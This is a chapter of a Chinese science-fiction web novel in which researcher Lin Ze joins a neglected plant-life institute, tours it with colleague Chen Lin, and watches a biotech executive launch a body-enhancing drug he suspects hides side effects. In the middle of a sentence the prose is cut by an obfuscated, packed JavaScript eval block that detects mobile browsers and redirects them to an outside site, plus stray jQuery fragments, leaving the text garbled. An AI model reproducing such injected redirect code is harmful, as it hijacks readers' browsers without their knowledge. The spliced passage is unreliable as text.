林泽站在医院重症室的走廊里，听着刘易斯讲述当时的情形。
“都怪我，要不是我在旧书店磨磨蹭蹭，为了赶上回院里的通勤飞船，走了小道，否则就不会遇到异变者。”
“秦南风替我挡了一把，现在躺在里面的应该是我。”
林泽拍着他的肩膀：“刘易斯，错不在你。你刚才说，最近受到袭击的研究员特别多？”
“对，像是能闻着我们的气味，一路追过来。所以最近外出比较严格，我们只能搭乘固定飞船，前往固定区域附近。”
林泽沉思。
秦南风躺在病床上，医生说他的生命指标一切正常，但就是昏迷醒不过来。同样情况的研究员还有九人。除此之外，也有几十起社会案例。
“抱歉，探视时间结束了。”
在医护人员的催促下，林泽和刘易斯先行回到了研究院。
虽然已经过了报道时间，但林泽的入职手续办得异常快。
“研究员陈尘，编号中央基地-324号，归属部门：暂无。”林泽翻看着手里的身份卡。
“你得收好了，补办要1000星域币。”刘易斯提醒道。
在回宿舍的路上，他们俩又遇到匆匆赶来的本杰明院长。
“陈尘啊，虽然你错过了公开分院面试，但以你的能力，去植物生命研究院是最合适的。”
刘易斯：“院长，其实我们地质研究院也挺缺人的！”
本杰明瞪了一眼刘易斯，刘易斯只能乖乖闭嘴。
“今天有些晚了，明天你就着手去傅秋明院长那报道吧。”
对林泽来说，他根本没什么研究经验，去哪都是会露馅的命运。
植物生命研究院？
或许真的跟他更契合一些。
出人意料的是，傅秋明竟然就是当时在飞船上对他提出质疑的人。
林泽见到真人后，终于把名字和脸联系到一起。
比起林泽参观过的地质研究院，植物生命研究院着实不大。而且来来往往的人，显得更加冷清。
看起来是个不大受重用的部门啊。
“怎么样？失望了吗，看本杰明院长这么欣赏你，没想到会把你分配到这个地方来吧。”傅秋明的语气十分淡漠，和她本人的气质十分吻合。
“怎么会。”
这是林泽的真心话，他怕就怕太受重用，迟早露馅。
“陈琳儿，你负责带下陈尘。”
“好的，傅院长。”陈琳抱着一叠资料，比起傅秋明，她算得上健谈，“走，带你逛一圈。”
“这里是公共实验室，等你评上副教授级别还能拥有自己的个人实验室。”
“这里是档案室，我们这里没什么条条框框，只要不带走，什么时候来看都行。”
“这里是公共休息区，中午如果你懒得回宿舍，可以在这躺会。”
陈琳像阅兵似的，带着林泽快速参观，每个区域的停留时间甚至不超过2分钟。
“时间刚好，11点零16分了，准备去食堂吃饭。”陈琳爽朗地笑了起来。
“我看电子手册上，午餐时间不是从11点半开始吗？”
“可是从这走到食堂，排队拿到餐饭，差不多就得14分钟。”
陈琳说得十分认真，林泽听了只得连连点头。
正如她说的，两人到达食堂时是11点28分，人不多。只要把餐盘放在固定位置，悬空的机器自动会将饭菜舀进餐盘中。两人只花了2分钟不到，就在餐桌边坐下了。
刘易斯给林泽发了讯息，他今天比较忙，俩人没办法一起吃中饭了。
陈琳吃饭的时候，细嚼慢咽。
“吃饭真是一天中最幸福的事情了。听说你从M7星域来，那里研究院的伙食怎么样？”
林泽回想起在乌塔园的用餐时光：“其实我去过YG082号基地，那有个乌塔园，每顿都有新鲜蔬菜，做法也十分多样。”
“乌塔园！你竟然去过那里，傅院长也申请过几次，但都没去成。”
“这么严格，是被对方拒绝了？”
“这我就不清楚了。”陈琳对这个话题非常感兴趣，“跟我说说呗，那里都有些什么植物。”
“最多的是生菜，因为它生长周期短，颜色丰富，品种繁多。直接吃多汁脆口，当然炒菜也可以。楼美菱博士还研制出一种速生药剂，混入水中浇灌光秃秃的生菜根，可以令其一夜发芽。”
“傅博士跟我说过，你在飞船上参加入院测试的时候，也用到过一种生长药剂。”
林泽毫不隐瞒：“对，是根据楼博士的成果进行改进的。”
说到这，陈琳欲言又止：“其实……”
“嗯？”林泽大嚼了一口牛排，如果有点蓝莓酱也不错。
“院里这几年资源有限，出的成果又少，慢慢进入了恶性循环。其实，我本来是被调剂到植物生命研究院的，照顾花花草草倒也轻松，也就没有再申请转院。”
“这几年，新入院的研究员大多来了几个月就离职了。”
“和植物待久了嘛，也会有感情的。但是以我的能力能为它们，为分院做得很少。”
“所以陈尘，看来我们同姓的份上，你能不能多待一段时间，哪怕半年。”
林泽瞧着陈琳认真的表情，忍不住笑出来：“好，就冲我们同姓，我一定待满半年。”
“啊？只有半年吗。”陈琳猛拍大腿，“早知道我就说一年了。”
经过一顿午饭的时间，林泽和陈琳很快熟络起来。当他们俩有说有笑回到分院时，正巧遇上傅秋明博士。
“下午别忘了交报告。”
林泽才刚去，这句话明显是对陈琳说的。
“好的，傅博士。”
等她走远后，陈琳补充道：“你别看傅博士看起来冷冷淡淡的，其实心里很关心我们，从不拖欠薪资。要是我能提出一个建设性的课题，哪怕问题，她一定非常高兴！”
林泽点点头：“我明白，她把心思都放在研究上。这一点，其实跟我认识的楼博士很像。”
在研究院的日子比想象中惬意许多，整个分院4个公共实验区，每个区只有三四个人，而傅秋明完全不管出勤率。
这天，陈琳带着林泽又早退，来到食堂吃晚饭。
陈琳：“今天菜单上的红烧狮子头你一定要尝一尝。”
正当两人又在讨论吃什么的时候，旁边有人往林泽怀里塞了一张纸。
他高喊着：“要求公开亚思域者名单，抵制技术封锁。”
陈琳也没见过这阵势：“怎么回事，传单都用上了。研究院可不兴这套抗议组织，回头全让院管记过。”
通往食堂的路上，还有好几个人给他们塞了传单。其中就包括地质研究院的院管之一，林泽去找刘易斯的时候，见过他。
陈琳：“肯定是我们中午吃饭太早，错过了大事。”
原本这个点，人不会太多，但俩人一踏进食堂，就看到熙熙攘攘的人群。他们举着横幅、高喊口号。
“陈尘！”
刘易斯好不容易挤出人流，来到林泽这一角，把人都拉出门去。
“刘易斯，发生什么事了？”
“你没看我的消息吗，千万别来食堂。下午出了特大新闻，别说研究院，整个中央基地都翻天
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15667590|172995||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了。谁还有心思搞工作。”
林泽和陈琳面面相觑，两人一整天都在档案室查速生生菜的资料。他们俩打开通讯器，果然各种讨论群，新闻通知都在说两件事：
【近期异变者伤人事件，疑似与思域者计划有关】
【领航生物宣布推出一款健体药剂，服用后可以大幅增加机能或特殊能力】
林泽已经见过两名异变者，从形态学和行为学来看，他多少能猜出来确实和思域者有关。他直接点开第二条新闻。
这是一条长达12分钟的视频。
视频第一部分，瘦小的女孩独自走在黑夜中，突然出现一双手抓住她的后颈，将她一把拖进后巷中。更糟糕的是，巷子中还有2名男性同伙和一条凶猛恶犬。
原本受到钳制的女孩身形暴涨，抓住对方的手臂，仿佛只是轻轻一用力，对方就痛得嗷嗷叫。最后三人一犬都被她打趴下。
视频第二部分，在某处物流中心，机械臂在有条不紊地运送集装箱，突然其中一根绑带断开，庞大的货物被抛向空中，即将砸到地面上。好在视频右下角闪出来一道白影，将整个集装箱抗在肩上，最后安稳地放置在地面上。
到此为止，评论都在质疑，这又是什么电影特效。
最后一段详细公布了前两位主人公的身份信息，画面迅速切分成4块、8块直至64块。所有人手里都拿着一盒药剂。
视频结尾留下了新的悬念：
【5月26日晚18：00整，请关注领航生物官网。】
这时候，评论中已经沸腾。
陈琳：“这……这些都是真的？”
林泽：“马上六点了，是真是假自有分晓。”
顾不上吃完饭，三人火速回到宿舍区。
六点整，领航生物的官网开启了全网直播，执行官方万利出现在办公室中，他的桌面上正放着视频里的那款短效进化药剂。
“各位，针对最近异变者事件，很抱歉，我现在才站出来。两年前，我因为反对思域者计划，毅然离开了中央基地最高研究院。”
“我很肯定，异变者和思域者计划脱不了干系，甚至就是其中流出的失败品。”
“两年间，我不断问自己，对于既定的未来，还能为这片星域做些什么。”
“当回归初心后，我找到了答案。这款健体药剂在一年前就已经进入临床试验阶段。所有效果数据稍后将在官网公布。”
……
看得出方万利准备充分，他接入连线，直接面对人们的质疑。
“最后我重申，这款药剂的作用是因人而异的，最终在7-15天内代谢完全，没有任何副作用。磁化波动为0，当然也不会受《思域者法典》约束。”
最后一点很重要，在黎朔起草的《思域者法典》中，所有通过磁化手段获得永久能力的人，都需要进行特别登记。
刘易斯：“他的意思是，为了对抗思域者，我们先变成另一种意义上的【思域者】？”
陈琳倒有些认同：“不是可以代谢掉吗？跟秘密研究所里的那种药剂完全不一样吧。”
刘易斯：“去他的，我只相信有人为善，有人就会作恶。他怎么确信能把药卖给真正需要的人。”
林泽坐在一旁，直到直播结束，一言不发。
——诡辩
异变者事件的蔓延令研究院、令政府失去了公信力，方万利这时候跳出来，时机太好了。
林泽将视频回放，定格在药剂盒上。突然他的目光被熟悉的蛇形图案吸引。
——这个药剂的副作用绝对被隐瞒了。
想到这里，林泽直接赶往黎朔家里。